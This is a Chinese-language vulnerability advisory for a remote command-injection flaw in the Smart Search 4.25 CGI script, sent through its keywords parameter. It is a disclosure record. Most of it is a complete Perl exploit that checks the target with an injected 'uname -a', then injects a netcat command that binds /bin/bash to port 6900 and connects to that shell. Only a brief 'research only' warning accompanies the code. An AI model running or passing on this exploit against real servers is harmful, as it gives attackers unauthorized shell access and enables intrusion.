Smart Search远程命令执行漏洞
发布日期:2003-01-05
更新日期:2003-03-25
受影响系统:Smarter Scripts Smart Search 4.25
描述:
BUGTRAQ ID:
7133
Smart Search是一款基于WEB的搜索引擎。
Smart Search对用户提供的URI参数缺少充分过滤,远程攻击者利用这个漏洞提供恶意数据而以WEB权限在系统上执行任意命令
smartsearch.cgi脚本对keywords参数缺少正确检查,攻击者提交包含类似"|command"形式的数据可以导致以WEB进程权限执行嵌入的命令。
<*来源:Knight420
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Knight420 提供了如下测试方法:
#!/usr/bin/perl -w
#
# Smart Search CGI Remote Exploit by: Knight420
#
# Greetz: echo, qubit, lkm, omega, borgon
#
use IO::Socket;
if ($#ARGV<0)
{
print "\nSmart Search CGI Remote Exploit by: Knight420";
print "\n\n Usage: perl smartass.pl ip path\n\n";
exit;
}
$elite = ("GET
$ARGV[1]smartsearch.cgi?keywords=|nc%20-vv%20-l%20-p%206900%20-t%20-e%20/bin/bash|
HTTP/1.0");
$check = ("GET $ARGV[1]smartsearch.cgi?keywords=|uname%20-a| HTTP/1.0");
$connect = IO::Socket::INET ->new (Proto=>"tcp", PeerAddr=> "$ARGV[0]",
PeerPort=>"80"); unless ($connect) { die "Cannot connect to host $ARGV[0]" }
system('clear ');
print "Smart Search CGI Remote Exploit by: knight420";
print "\n*** [1] Checking if remote host is vulnerable...";
print $connect "$check";
if ($#connect<0)
{
print "\n*** [*] Remote host is not vulnerable... \n";
exit;
}
print "\n *** [2] Host is vulnerable...Sending exploit code";
print $connect "$elite";
system('nc -v $ARGV[0] 6900 ');
close($connect);
建议:
厂商补丁:
Smarter Scripts
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.smarterscripts.com/smartsearch/浏览次数:3031
严重程度:0(网友投票)